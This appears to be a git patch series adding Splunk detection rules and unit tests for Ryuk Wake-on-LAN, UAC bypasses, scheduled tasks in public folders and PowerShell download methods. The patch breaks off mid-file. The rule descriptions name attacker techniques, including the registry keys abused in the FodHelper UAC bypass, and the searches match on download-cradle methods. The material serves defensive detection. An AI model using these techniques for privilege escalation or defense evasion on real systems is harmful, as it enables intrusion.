diff --git a/stories/cobalt_strike.yml b/stories/cobalt_strike.yml
index 7efffb08df..d2a0170077 100644
--- a/stories/cobalt_strike.yml
+++ b/stories/cobalt_strike.yml
@@ -15,7 +15,7 @@ narrative: 'This Analytic Story supports you to detect Tactics, Techniques and P
   
   Spawnto_x86 and spawnto_x64 is the process that Cobalt Strike will spawn and injects shellcode into.\
   
-  Pipename sets the named pipe  name used in Cobalt Strikes Beacon SMB C2 traffic.\
+  Pipename sets the named pipe name used in Cobalt Strikes Beacon SMB C2 traffic.\
 
   With that, new detections were generated focused on these spawnto processes spawning without command line arguments. Similar, the named pipes most commonly used by Cobalt Strike added as a detection.
   In generating content for Cobalt Strike, the following is considered:\
@@ -36,6 +36,8 @@ references:
 - https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/
 - https://blog.talosintelligence.com/2020/09/coverage-strikes-back-cobalt-strike-paper.html
 - https://www.fireeye.com/blog/threat-research/2020/12/unauthorized-access-of-fireeye-red-team-tools.html
+- https://github.com/MichaelKoczwara/Awesome-CobaltStrike-Defence
+- https://github.com/zer0yu/Awesome-CobaltStrike
 tags:
   analytic_story: Cobalt Strike
   category:
diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
index 6b66460a95..2c9ea4f838 100644
--- a/stories/silver_sparrow.yml
+++ b/stories/silver_sparrow.yml
@@ -6,10 +6,9 @@ author: Michael Haag, Splunk
 type: batch
 description: Silver Sparrow, identified by Red Canary Intelligence, is a new forward looking MacOS (Intel and M1) malicious software downloader utilizing JavaScript for execution and a launchAgent to establish persistence.
 narrative: 'Silver Sparrow works is a dropper and uses typical persistence mechanisms on a Mac. It is cross platform, covering both Intel and Apple M1 architecture. 
-  To this date, no implant has been downloaded for malicious purposes.
-  This analytic assists with identifying different types of  macOS malware families establishing LaunchAgent persistence.
+  To this date, no implant has been downloaded for malicious purposes. During installation of the update.pkg or updater.pkg file, the malicious software utilizes JavaScript to generate files and scripts on disk for persistence.These files later download a implant from an S3 bucket every hour.
+  This analytic assists with identifying different types of macOS malware families establishing LaunchAgent persistence.
   Per SentinelOne source, it is predicted that Silver Sparrow is likely selling itself as a mechanism to 3rd party “affiliates” or pay-per-install (PPI) partners, typically seen as commodity adware/malware.
-  Identify the process name of PlistBuddy executing with command line arguments that include: LaunchAgents and RunAtLoad and true. (1)
   Additional indicators and behaviors may be found within the references.'
 references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
diff --git a/stories/suspicious_mshta_activity.yml b/stories/suspicious_mshta_activity.yml
index bf10152d8e..71e73efbbf 100644
--- a/stories/suspicious_mshta_activity.yml
+++ b/stories/suspicious_mshta_activity.yml
@@ -15,13 +15,19 @@ narrative: 'One common adversary tactic is to bypass application control solutio
   The searches in this story help you detect and investigate suspicious activity that
   may indicate that an attacker is leveraging mshta.exe to execute malicious code.\
 
-  Triage\ Validate execution \ 1. Determine if MSHTA.exe executed. Validate the OriginalFileName
+  Triage\ 
+  
+  Validate execution \ 
+  
+  1. Determine if MSHTA.exe executed. Validate the OriginalFileName
   of MSHTA.exe and further PE metadata. If executed outside of c:\windows\system32
   or c:\windows\syswow64, it should be highly suspect.\
 
   1. Determine if script code was executed with MSHTA.\
 
-  Situational Awareness\ The objective of this step is meant to identify suspicious
+  Situational Awareness\ 
+  
+  The objective of this step is meant to identify suspicious
   behavioral indicators related to executed of Script code by MSHTA.exe.\
 
   1. Parent process. Is the parent process a known LOLBin? Is the parent process an
@@ -33,7 +39,9 @@ narrative: 'One common adversary tactic is to bypass application control solutio
   1. Network connections. Any network connections? Review the reputation of the remote
   IP or domain.\
 
-  Retrieval of script code\ The objective of this step is to confirm the executed
+  Retrieval of script code\ 
+  
+  The objective of this step is to confirm the executed
   script code is benign or malicious.'
 references:
 - https://redcanary.com/blog/introducing-atomictestharnesses/

From a576744f8840dc2d40df9fda44a3941f91fd1e15 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 10:07:12 -0700
Subject: [PATCH 33/67] Ryuk Wake on LAN

---
 .../endpoint/ryuk_wake_on_lan_command.yml     | 38 +++++++++++++++++++
 .../ryuk_wake_on_lan_command.test.yml         | 12 ++++++
 2 files changed, 50 insertions(+)
 create mode 100644 detections/endpoint/ryuk_wake_on_lan_command.yml
 create mode 100644 tests/endpoint/ryuk_wake_on_lan_command.test.yml

diff --git a/detections/endpoint/ryuk_wake_on_lan_command.yml b/detections/endpoint/ryuk_wake_on_lan_command.yml
new file mode 100644
index 0000000000..ab0c4faff1
--- /dev/null
+++ b/detections/endpoint/ryuk_wake_on_lan_command.yml
@@ -0,0 +1,38 @@
+name: Ryuk Wake on LAN Command
+id: 538d0152-7aaa-11eb-beaa-acde48001122
+version: 1
+date: '2021-03-01'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: This Splunk query identifies the use of Wake-on-LAN utilized by Ryuk ransomware. The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them. This is a high fidelity indicator of Ryuk ransomware executing on an endpoint.
+  Upon triage, isolate the endpoint. Additional file modification events will be within the users profile (\appdata\roaming) and in public directories (users\public\). Review all Scheduled Tasks on the isolated endpoint and across the fleet. Suspicious Scheduled Tasks will include a path to a unknown binary and those endpoints should be isolated until triaged.
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process="*8 LAN" OR Processes.process="*9 REP" by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: Limited to no known false positives. 
+references:
+- https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
+- https://www.bleepingcomputer.com/news/security/ryuk-ransomware-now-self-spreads-to-other-windows-lan-devices/
+- https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
+tags:
+  analytic_story:
+  - Ryuk Ransomware
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.003/ryuk/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  - Lateral Movement
+  mitre_attack_id:
+  - T1059.003
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/tests/endpoint/ryuk_wake_on_lan_command.test.yml b/tests/endpoint/ryuk_wake_on_lan_command.test.yml
new file mode 100644
index 0000000000..1d542adcc2
--- /dev/null
+++ b/tests/endpoint/ryuk_wake_on_lan_command.test.yml
@@ -0,0 +1,12 @@
+name: Ryuk Wake on LAN Command Unit Test
+tests:
+- name: Ryuk Wake on LAN Command
+  file: endpoint/ryuk_wake_on_lan_command.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.003/ryuk/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From 5a09edf7976a8a8e089c5fb4e4b020ba924559a7 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 12:45:22 -0700
Subject: [PATCH 34/67] Suspicious Scheduled Task from Public Directory

---
 ...s_scheduled_task_from_public_directory.yml | 39 +++++++++++++++++++
 ...eduled_task_from_public_directory.test.yml | 12 ++++++
 2 files changed, 51 insertions(+)
 create mode 100644 detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
 create mode 100644 tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml

diff --git a/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml b/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
new file mode 100644
index 0000000000..38b0207037
--- /dev/null
+++ b/detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
@@ -0,0 +1,39 @@
+name: Suspicious Scheduled Task from Public Directory
+id: 7feb7972-7ac3-11eb-bac8-acde48001122
+version: 1
+date: '2021-03-01'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: The following detection identifies Scheduled Tasks registering (creating a new task) a binary or script to run from a public directory which includes users\public, \programdata\ and \windows\temp. 
+  Upon triage, review the binary or script in the command line for legitimacy, whether an approved binary/script or not. In addition, capture the binary or script in question and analyze for further behaviors. Identify the source and contain the endpoint. 
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe
+  (Processes.process="*\\public\\*" OR Processes.process="*\\programdata\\*" OR Processes.process="*windows\\temp*")  Processes.process="*/create*"
+  by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `suspicious_scheduled_task_from_public_directory_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: Limited false positives may be present. Filter as needed by parent process or command line argument.
+references:
+- https://attack.mitre.org/techniques/T1053/005/
+tags:
+  analytic_story:
+  - Ransomware
+  - Ryuk Ransomware
+  - Windows Persistence Techniques
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1053.005/schtasks/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  - Privilege Escalation
+  mitre_attack_id:
+  - T1053.005
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml b/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml
new file mode 100644
index 0000000000..0574310520
--- /dev/null
+++ b/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml
@@ -0,0 +1,12 @@
+name: Suspicious Scheduled Task from Public Directory Unit Test
+tests:
+- name: Suspicious Scheduled Task from Public Directory
+  file: detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1053.005/schtasks/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From bcbd2ebb19682218e1827a43f9b4fb8505a89d9f Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 13:38:06 -0700
Subject: [PATCH 35/67] Fodhelper uac bypass

---
 detections/endpoint/fodhelper_uac_bypass.yml | 49 ++++++++++++++++++++
 tests/endpoint/fodhelper_uac_bypass.test.yml | 12 +++++
 2 files changed, 61 insertions(+)
 create mode 100644 detections/endpoint/fodhelper_uac_bypass.yml
 create mode 100644 tests/endpoint/fodhelper_uac_bypass.test.yml

diff --git a/detections/endpoint/fodhelper_uac_bypass.yml b/detections/endpoint/fodhelper_uac_bypass.yml
new file mode 100644
index 0000000000..f566620ac4
--- /dev/null
+++ b/detections/endpoint/fodhelper_uac_bypass.yml
@@ -0,0 +1,49 @@
+name: FodHelper UAC Bypass
+id: 909f8fd8-7ac8-11eb-a1f3-acde48001122
+version: 1
+date: '2021-03-01'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: 'Fodhelper.exe has a known UAC bypass as it attempts to look for specific registry keys upon execution, that do not exist. Therefore, an attacker can write its malicious commands in these registry keys to be executed by fodhelper.exe with the highest privilege. \
+
+1. `HKCU:\Software\Classes\ms-settings\shell\open\command`\
+
+1. `HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute`\
+
+1. `HKCU:\Software\Classes\ms-settings\shell\open\command\(default)`\
+
+Upon triage, fodhelper.exe will have a child process and read access will occur on the registry keys. Isolate the endpoint and review parallel processes for additional behavior.'
+
+
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=fodhelper.exe
+  by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `fodhelper_uac_bypass_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: Limited to no false positives are expected. 
+references:
+- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
+- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md
+- https://github.com/gushmazuko/WinBypass/blob/master/FodhelperBypass.ps1
+- https://attack.mitre.org/techniques/T1548/002
+tags:
+  analytic_story:
+  - Windows Defense Evasion Tactics
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  - Privilege Escalation
+  mitre_attack_id:
+  - T1112
+  - T1548.002
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/tests/endpoint/fodhelper_uac_bypass.test.yml b/tests/endpoint/fodhelper_uac_bypass.test.yml
new file mode 100644
index 0000000000..5c487a9be6
--- /dev/null
+++ b/tests/endpoint/fodhelper_uac_bypass.test.yml
@@ -0,0 +1,12 @@
+name: FodHelper UAC Bypass Unit Test
+tests:
+- name: FodHelper UAC Bypass
+  file: detections/endpoint/fodhelper_uac_bypass.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From bd2c69ec28491194a8eb92b3d3113ac72890335b Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 15:18:27 -0700
Subject: [PATCH 36/67] Eventvwr UAC Bypass

---
 detections/endpoint/eventvwr_uac_bypass.yml | 39 +++++++++++++++++++++
 tests/endpoint/eventvwr_uac_bypass.test.yml | 12 +++++++
 2 files changed, 51 insertions(+)
 create mode 100644 detections/endpoint/eventvwr_uac_bypass.yml
 create mode 100644 tests/endpoint/eventvwr_uac_bypass.test.yml

diff --git a/detections/endpoint/eventvwr_uac_bypass.yml b/detections/endpoint/eventvwr_uac_bypass.yml
new file mode 100644
index 0000000000..94bd229262
--- /dev/null
+++ b/detections/endpoint/eventvwr_uac_bypass.yml
@@ -0,0 +1,39 @@
+name: Eventvwr UAC Bypass
+id: 9cf8fe08-7ad8-11eb-9819-acde48001122
+version: 1
+date: '2021-03-01'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: The following search identifies Eventvwr bypass by identifying the registry modification into a specific path that eventvwr.msc looks to (but is not valid) upon execution. A successful attack will include a suspicious command to be executed upon eventvwr.msc loading.
+  Upon triage, review the parallel processes that have executed. Identify any additional registry modifications on the endpoint that may look suspicious. Remediate as necessary.
+search: '| tstats `security_content_summariesonly` count values(Registry.registry_key_name)
+  as registry_key_name values(Registry.registry_path) as registry_path min(_time)
+  as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where  Registry.registry_path="*mscfile\\shell\\open\\command\\*"  by
+  Registry.user, Registry.dest , Registry.registry_value_name| `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)`
+  | `drop_dm_object_name(Registry)` | `eventvwr_uac_bypass_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Registry` node.
+known_false_positives: Some false positives may be present and will need to be filtered.
+references:
+- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
+- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md
+- https://attack.mitre.org/techniques/T1548/002
+- https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
+tags:
+  analytic_story:
+  - Windows Defense Evasion Tactics
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  - Privilege Escalation
+  mitre_attack_id:
+  - T1548.002
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/tests/endpoint/eventvwr_uac_bypass.test.yml b/tests/endpoint/eventvwr_uac_bypass.test.yml
new file mode 100644
index 0000000000..27cbf0b7ce
--- /dev/null
+++ b/tests/endpoint/eventvwr_uac_bypass.test.yml
@@ -0,0 +1,12 @@
+name: Eventvwr UAC Bypass Unit Test
+tests:
+- name: Eventvwr UAC Bypass
+  file: endpoint/eventvwr_uac_bypass.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From 9794fd13fb105189a5e0530c89cd189f4c79173d Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 16:02:36 -0700
Subject: [PATCH 37/67] Any PowerShell DownloadString

---
 .../windows_disableantispyware_reg.yml        |  1 +
 .../any_powershell_downloadstring.yml         | 37 +++++++++++++++++++
 .../any_powershell_downloadstring.test.yml    | 12 ++++++
 3 files changed, 50 insertions(+)
 create mode 100644 detections/endpoint/any_powershell_downloadstring.yml
 create mode 100644 tests/endpoint/any_powershell_downloadstring.test.yml

diff --git a/detections/deprecated/windows_disableantispyware_reg.yml b/detections/deprecated/windows_disableantispyware_reg.yml
index bb43cc26ce..3bceb3037a 100644
--- a/detections/deprecated/windows_disableantispyware_reg.yml
+++ b/detections/deprecated/windows_disableantispyware_reg.yml
@@ -25,6 +25,7 @@ references: []
 tags:
   analytic_story:
   - Ryuk Ransomware
+  - Windows Defense Evasion Tactics
   asset_type: Endpoint
   cis20:
   - CIS 8
diff --git a/detections/endpoint/any_powershell_downloadstring.yml b/detections/endpoint/any_powershell_downloadstring.yml
new file mode 100644
index 0000000000..837dabd81a
--- /dev/null
+++ b/detections/endpoint/any_powershell_downloadstring.yml
@@ -0,0 +1,37 @@
+name: Any Powershell DownloadString
+id: 4d015ef2-7adf-11eb-95da-acde48001122
+version: 1
+date: '2021-03-01'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: The following analytic identifies the use of PowerShell downloading a file using `DownloadString`
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
+  Processes.process=*DownloadString* (Processes.process!=*chocolatey.org*) by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadstring_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: False positives may be present and filtering will need to occur by parent process or command line argument. It may be required to modify this query to an EDR product for more granular coverage.
+references:
+- https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-5.0
+- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
+- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md
+tags:
+  analytic_story:
+  - Malicious PowerShell
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1059.001
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/tests/endpoint/any_powershell_downloadstring.test.yml b/tests/endpoint/any_powershell_downloadstring.test.yml
new file mode 100644
index 0000000000..d061ee9bbe
--- /dev/null
+++ b/tests/endpoint/any_powershell_downloadstring.test.yml
@@ -0,0 +1,12 @@
+name: Any Powershell DownloadString Unit Test
+tests:
+- name: Any Powershell DownloadString
+  file: detections/endpoint/any_powershell_downloadstring.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog

From 16627bf20756f5306c195bdf71daeaf038e626b0 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 18:28:25 -0700
Subject: [PATCH 38/67] update url

---
 detections/endpoint/any_powershell_downloadstring.yml | 2 +-
 tests/endpoint/any_powershell_downloadstring.test.yml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/any_powershell_downloadstring.yml b/detections/endpoint/any_powershell_downloadstring.yml
index 837dabd81a..8e11d1f6f6 100644
--- a/detections/endpoint/any_powershell_downloadstring.yml
+++ b/detections/endpoint/any_powershell_downloadstring.yml
@@ -25,7 +25,7 @@ tags:
   analytic_story:
   - Malicious PowerShell
   dataset:
-  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon.log
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
   kill_chain_phases:
   - Exploitation
   mitre_attack_id:
diff --git a/tests/endpoint/any_powershell_downloadstring.test.yml b/tests/endpoint/any_powershell_downloadstring.test.yml
index d061ee9bbe..555664401f 100644
--- a/tests/endpoint/any_powershell_downloadstring.test.yml
+++ b/tests/endpoint/any_powershell_downloadstring.test.yml
@@ -7,6 +7,6 @@ tests:
   latest_time: 'now'
   attack_data:
   - file_name: windows-sysmon.log
-    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
     source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
     sourcetype: xmlwineventlog

From 0e18f6441412643ca03b55c9521f835d02349975 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 09:43:31 -0700
Subject: [PATCH 39/67] powershell

---
 .../endpoint/any_powershell_downloadfile.yml  | 38 +++++++++++++++++++
 .../any_powershell_downloadstring.yml         |  3 +-
 .../any_powershell_downloadfile.test.yml      | 12 ++++++
 3 files changed, 52 insertions(+), 1 deletion(-)
 create mode 100644 detections/endpoint/any_powershell_downloadfile.yml
 create mode 100644 tests/endpoint/any_powershell_downloadfile.test.yml

diff --git a/detections/endpoint/any_powershell_downloadfile.yml b/detections/endpoint/any_powershell_downloadfile.yml
new file mode 100644
index 0000000000..fc68848657
--- /dev/null
+++ b/detections/endpoint/any_powershell_downloadfile.yml
@@ -0,0 +1,38 @@
+name: Any Powershell DownloadFile
+id: 1a93b7ea-7af7-11eb-adb5-acde48001122
+version: 1
+date: '2021-03-01'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: The following analytic identifies the use of PowerShell downloading a file using `DownloadFile` method. This particular method is utilized in many different PowerShell frameworks to download files and output to disk. 
+  Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
+  Processes.process=*DownloadFile* (Processes.process!=*chocolatey.org*) by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: False positives may be present and filtering will need to occur by parent process or command line argument. It may be required to modify this query to an EDR product for more granular coverage.
+references:
+- https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-5.0
+- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
+- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md
+tags:
+  analytic_story:
+  - Malicious PowerShell
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1059.001
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/detections/endpoint/any_powershell_downloadstring.yml b/detections/endpoint/any_powershell_downloadstring.yml
index 8e11d1f6f6..7a9d648987 100644
--- a/detections/endpoint/any_powershell_downloadstring.yml
+++ b/detections/endpoint/any_powershell_downloadstring.yml
@@ -6,7 +6,8 @@ author: Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
-description: The following analytic identifies the use of PowerShell downloading a file using `DownloadString`
+description: The following analytic identifies the use of PowerShell downloading a file using `DownloadString` method. This particular method is utilized in many different PowerShell frameworks to download files and output to disk. 
+  Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
   Processes.process=*DownloadString* (Processes.process!=*chocolatey.org*) by Processes.dest
diff --git a/tests/endpoint/any_powershell_downloadfile.test.yml b/tests/endpoint/any_powershell_downloadfile.test.yml
new file mode 100644
index 0000000000..e972ca5e31
--- /dev/null
+++ b/tests/endpoint/any_powershell_downloadfile.test.yml
@@ -0,0 +1,12 @@
+name: Any Powershell DownloadFile Unit Test
+tests:
+- name: Any Powershell DownloadFile
+  file: endpoint/any_powershell_downloadfile.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog

From 66b650d835f9c457b635e1dcd4fecde331341704 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 10:42:08 -0700
Subject: [PATCH 40/67] Windows DisableAntiSpyware Registry

---
 .../windows_disableantispyware_reg.yml        | 25 +++++++++++--------
 1 file changed, 14 insertions(+), 11 deletions(-)
 rename detections/{deprecated => endpoint}/windows_disableantispyware_reg.yml (52%)

diff --git a/detections/deprecated/windows_disableantispyware_reg.yml b/detections/endpoint/windows_disableantispyware_reg.yml
similarity index 52%
rename from detections/deprecated/windows_disableantispyware_reg.yml
rename to detections/endpoint/windows_disableantispyware_reg.yml
index 3bceb3037a..078e2580fc 100644
--- a/detections/deprecated/windows_disableantispyware_reg.yml
+++ b/detections/endpoint/windows_disableantispyware_reg.yml
@@ -1,27 +1,28 @@
 name: Windows DisableAntiSpyware Registry
 id: 23150a40-9301-4195-b802-5bb4f43067fb
-version: 1
-date: '2020-11-06'
-author: Rod Soto, Jose Hernandez, Splunk
+version: 2
+date: '2021-03-02'
+author: Rod Soto, Jose Hernandez, Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
 description: The search looks for the Registry Key DisableAntiSpyware set to disable.
-  This is consistent with Ryuk infections across a fleet of endpoints.
